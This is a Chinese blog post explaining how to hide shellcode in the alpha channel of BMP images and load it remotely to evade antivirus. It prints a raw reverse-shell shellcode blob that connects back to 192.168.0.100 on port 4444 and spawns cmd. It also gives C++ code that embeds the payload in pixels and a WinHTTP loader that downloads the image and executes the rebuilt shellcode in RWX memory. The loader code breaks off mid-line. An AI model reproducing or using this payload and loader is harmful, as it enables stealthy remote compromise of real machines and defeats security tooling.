ShellCode

关于利用图片Alpha通道隐写术隐藏Shellcode的攻击

Alpha通道,又叫做阿尔法通道,是指一张图片的透明和半透明度。例如:一个使用16位存储的图片,可能5位表示红色,5位表示绿色,5位表示蓝色,1位是阿尔法。在这种情况下,它要么表示透明要么不是。一个使用32位存储的图片,每8位表示红绿蓝,和阿尔法通道。在这种情况下,就不光可以表示透明还是不透明,阿尔法通道还可以表示256级的半透明度。
一般alpha值取0~1之间。通道分为三种通道。也就是有三个作用。
Alpha通道与Rgb图片为乘法运算即:图片显示 = RGB*Alpha(0-1)在 Alpha 通道中,0 是黑色,表示透明;1 是白色,表示不透明;半透明在 0-1 之间。

将Shellcode隐写到一张BMP图片中,把字符串拆成字节,写入每个像素的alpha通道中,然后上传到可信任的网站下偏移拼接shellcode进行远程动态加载,能有效地增加了免杀性和隐匿性。

bmp图片结构:
bmp文件头(bmp file header):提供文件的格式、大小等信息
位图信息头(bitmap information):提供图像数据的尺寸、位平面数、压缩方式、颜色索引等信息调色板(color palette):可选,如使用索引来表示图像,调色板就是索引与其对应的颜色的映射表位图数据(bitmap data):就是图像数据
调色板(color palette):可选,如使用索引来表示图像,调色板就是索引与其对应的颜色的映射表
位图数据(bitmap data):就是图像数据
010 Editor分析
typedef struct tagBITMAPFILEHEADER
{
UINT16 bfType; // 说明位图类型 2字节
DWORD bfSize; // 说明位图大小 4字节
UINT16 bfReserved1; // 保留字,必须为0 2字节
UINT16 bfReserved2; // 保留字,必须为0 2字节
DWORD bfOffBits; // 从文件头到实际的图像数据的偏移量是多少 4字节
} BITMAPFILEHEADER; //一共16个字节
1.最开头的两个十六进制为42H,4DH转为ASCII后分别表示BM,所有的BMP文件都以这两个字节开头。

2.红色箭头是图片的大小(这里对应的十六进制为AA 37 0C 00,但这设计大小端转化,所以他一个转为00 0C 37 AA,换成十进制就为800682)。3.绿色箭头的bfOffBits是从BMP文件的第一个字节开始,到第54个字节就是像素的开始。4.紫色箭头说明该结构一共需要的字节数。5.蓝色箭头和粉红色箭头分别是图片的宽和高。

typedef struct tagBITMAPINFOHEADER
{ DWORD biSize; // 说明该结构一共需要的字节数 2字节
LONG biWidth; // 说明图片的宽度,以像素为单位 4字节
LONG biHeight; // 说明图片的高度,以像素为单位 4字节
WORD biPlanes; //颜色板,总是设为1 2个字节
WORD biBitCount; //说明每个比特占多少bit位,可以通过这个字段知道图片类型 2个字节
DWORD biCompression; // 说明使用的压缩算法 2个字节 (BMP无压缩算法) DWORD biSizeImage; //说明图像大小 2个字节
LONG biXPelsPerMeter; //水平分辨率 4字节 单位:像素/米
LONG biYPelsPerMeter; //垂直分辨率4字节
DWORD biClrUsed; //说明位图使用的颜色索引数 4字节
DWORD biClrImportant; //4字节 } BITMAPINFOHEADER; // 一共40个字节


BGRA 蓝、绿、红、alpha,来存储一个像素,蓝占多少,绿占多少,红占多少,alpha是透明度,这个字节的数值表示的是该像素点的透明度:数值为0时,该像素点完全透明,利用这种特性来藏数据了,而不影响原图片的正常显示。

Alpha通道隐藏原理:
图片中每两个连续像素的 Alpha 值代表一个字符代码,两个像素的 Alpha 值分别表示十位和个位。其实通过这种方式来对要传递的数据进行编码,影响到了图片中每个像素的透明度。

比方说:两个像素的 Alpha 值分别为239和253,那么其表示的字母为“f”

那么一连串像素的 Alpha 值是:239, 253, 237, 243, 239, 237, 241, 239, 237, 245, 239, 247, 239, 235, 239, 237,则它们联合表达一个单词 “function”。

#-*- coding:utf-8 -*-
shellcode = ''
hacker =  "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
hacker += "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
hacker += "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
hacker += "\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
hacker += "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
hacker += "\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
hacker += "\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
hacker += "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
hacker += "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
hacker += "\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
hacker += "\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
hacker += "\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68"                       
 hacker += "\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x05\x68\xc0\xa8\x00\x64\x68"                         
 hacker += "\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"                         
 hacker += "\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2"                         
 hacker += "\x56\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57\x31\xf6"                         
 hacker += "\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01\x8d\x44"
 hacker += "\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e\x56\x56"
 hacker += "\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff"
 hacker += "\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6"
 hacker += "\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
 hacker += "\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5"
 shellcode += hacker
 print(shellcode.encode('hex'))

生成一段Shellcode的代码,并转换为16进制的方式。

程序实现:
1.用C/C++代码读取图片文件里面的这两个结构体。
2.读取图片到内存中。获取bfOffBIts,再获取alpha通道(+4)。
3.把数据拆分,插入到alpha通道,保存文件上传到apache2服务器或可信任网站上。
4.远程读取被修改图片的alpha通道,拼接组合shellcode申请内存加载。

//dwBmpSize.cpp
#include "dwBmpSize.h"
 
CBMPHide::CBMPHide()
{
 sBmpFileName = "";
 pBuf = 0;
 dwBmpSize = 0;
}
 
CBMPHide::~CBMPHide()
{
 
}
 
bool CBMPHide::setBmpFileName(char* szFileName)
{
 this->sBmpFileName = szFileName;
 if (pBuf) //如果已经生成就释放掉
 {
  delete[]pBuf;
 }
 
 HANDLE hfile = CreateFileA(szFileName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, 0);
 if (hfile == INVALID_HANDLE_VALUE)
 {
  return false;
 }
 
 //和struct BITMAPFILEHEADER bmfh里面的 bfSize的大小应该是一样的。
 dwBmpSize = GetFileSize(hfile, 0); //获取文件的大小
 pBuf = new byte[dwBmpSize];
 DWORD dwRead = 0;
 ReadFile(hfile, pBuf, dwBmpSize, &dwRead, 0);
 if (dwRead != dwBmpSize)
 {
  delete[]pBuf;
  pBuf = 0;
  return false;
 }
 CloseHandle(hfile);
 m_fileHdr = (BITMAPFILEHEADER*)pBuf;
 m_infoHdr = (BITMAPINFOHEADER*)(pBuf + sizeof(BITMAPFILEHEADER));
 return true; //成功话就是文件的内容读取到pBuf里面
}
 
 
int CBMPHide::getBmpWidth()
{
 return m_infoHdr->biWidth;
}
 
int CBMPHide::getBmpHeight()
{
 return m_infoHdr->biHeight;
}
 
int CBMPHide::getBmpBitCount()
{
 return m_infoHdr->biBitCount;
}
 
bool CBMPHide::save()
{
 string sDstFileName = "save.bmp";
    HANDLE hfile = CreateFileA(sDstFileName.c_str(),
  GENERIC_READ | GENERIC_WRITE,
  FILE_SHARE_READ | FILE_SHARE_WRITE,
  NULL,
  CREATE_ALWAYS, 0, 0);
 if (hfile == INVALID_HANDLE_VALUE)
 {
  return false;
 }
 
 DWORD dwWritten = 0;
 WriteFile(hfile, pBuf, dwBmpSize, &dwWritten, 0);
 if (dwBmpSize != dwWritten)
 {
  return false;
 }
 CloseHandle(hfile);
 return true;
}
//隐藏一个字符串到图片中,把字符串拆成字节,写入每个像素的alpha通道中
bool CBMPHide::hideString2BMP(char* szStr2Hide)
{
 LPBYTE pAlpha = pBuf + m_fileHdr->bfOffBits + 3; //第一个像素的通道位置
 int nHide; //成功隐藏的字节数
 
 //每次循环写入一个字节,吸入alpha通道
 //(pAlpha - pBuf) < m_fileHdr->bfSize这个是判断字符串是太大,图片不能隐藏
 for (nHide = 0; (pAlpha - pBuf) < m_fileHdr->bfSize && szStr2Hide[nHide] != 0; nHide++, pAlpha += 4)
 {
  *pAlpha = szStr2Hide[nHide]; //写入一个字节
 }
 
 return true;
}
//main.cpp

int main(int argc, char* argv[])
{
 if (argc < 2)
 {
  wprintf(L"Command:  %S <SHELLCODE> ...\n",argv[0]);
  return -1; } 
  CBMPHide hide; hide.setBmpFileName((char*)"test.bmp"); printf_s("test.bmp width:%d,height:%d,bitCount%d\n",  hide.getBmpWidth(),
hide.getBmpHeight(), 
hide.getBmpBitCount()); char * shellcode = argv[1]; 
hide.hideString2BMP((char*)shellcode); hide.save(); 
cout << shellcode << endl;}

完整代码地址: https://github.com/loyalty-fox/idshwk7
如果程序出现char 和const 不兼容的问题,是因为C++不允许隐式地去除指针的const qualifier,因此不能将一个const char的值赋值给一个char变量,需要将代码里的所有char都改成const char

远程加载:
用WinHTTP库将上传在apache2上的bmp图片内容远程读取到字符串中并获取alpha通道中隐藏的字节拼接shellcode,然后使用VirtualAlloc为shellcode分配内存。重要的是要注意,此内存页当前具有读取,写入和执行权限。之后,使用memcpy将shellcode移到新分配的内存页面中。最后,执行shellcode。

#include <stdio.h>
#include <Windows.h>
#include <Winhttp.h>
#include <WinDNS.h>
#include <iterator>
#include <iostream>
#include <windows.h>
#include <WinDNS.h>
#include <string>
#include <vector>
#pragma comment(lib,"Winhttp.lib")
#pragma comment(lib,"urlmon.lib")
using namespace std;struct CachedDnsRecord{	wstring name;	int type;};
#define INET_ADDRSTRLEN     22#define INET6_ADDRSTRLEN    65typedef void(*DownLoadCallback)(int ContentSize, int CUR_LEN);
typedef struct _URL_INFO{	WCHAR szScheme[512];	
WCHAR szHostName[512];	
WCHAR szUserName[512];	
WCHAR szPassword[512];	
WCHAR szUrlPath[512];	
WCHAR szExtraInfo[512];}
URL_INFO, * PURL_INFO;
void dcallback(int ContentSize, int file_size){	//printf("count:%d,size:%d\n", ContentSize, file_size);}
void download(const wchar_t* Url, const wchar_t* FileName, DownLoadCallback Func){	URL_INFO url_info = { 0 };	
URL_COMPONENTSW lpUrlComponents = { 0 };	lpUrlComponents.dwStructSize = sizeof(lpUrlComponents);	lpUrlComponents.lpszExtraInfo = url_info.szExtraInfo;	lpUrlComponents.lpszHostName = url_info.szHostName;	lpUrlComponents.lpszPassword = url_info.szPassword;	lpUrlComponents.lpszScheme = url_info.szScheme;	
lpUrlComponents.lpszUrlPath = url_info.szUrlPath;	lpUrlComponents.lpszUserName = url_info.szUserName;	lpUrlComponents.dwExtraInfoLength =		lpUrlComponents.dwHostNameLength =		lpUrlComponents.dwPasswordLength =		lpUrlComponents.dwSchemeLength =		lpUrlComponents.dwUrlPathLength =		lpUrlComponents.dwUserNameLength = 512;	WinHttpCrackUrl(Url, 0, ICU_ESCAPE, &lpUrlComponents);	
HINTERNET hSession = WinHttpOpen(NULL, WINHTTP_ACCESS_TYPE_NO_PROXY, NULL, NULL, 0);	
DWORD dwReadBytes, dwSizeDW = sizeof(dwSizeDW), 
dwContentSize, dwIndex = 0;	
HINTERNET hConnect = WinHttpConnect(hSession, lpUrlComponents.lpszHostName, lpUrlComponents.nPort, 0);	
HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"HEAD", lpUrlComponents.lpszUrlPath, L"HTTP/1.1", WINHTTP_NO_REFERE

完整代码地址:https://github.com/frustreated/SimpleShellcode/blob/master/ShellcodeRun/ShellcodeRun/ShellcodeRun.cpp

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值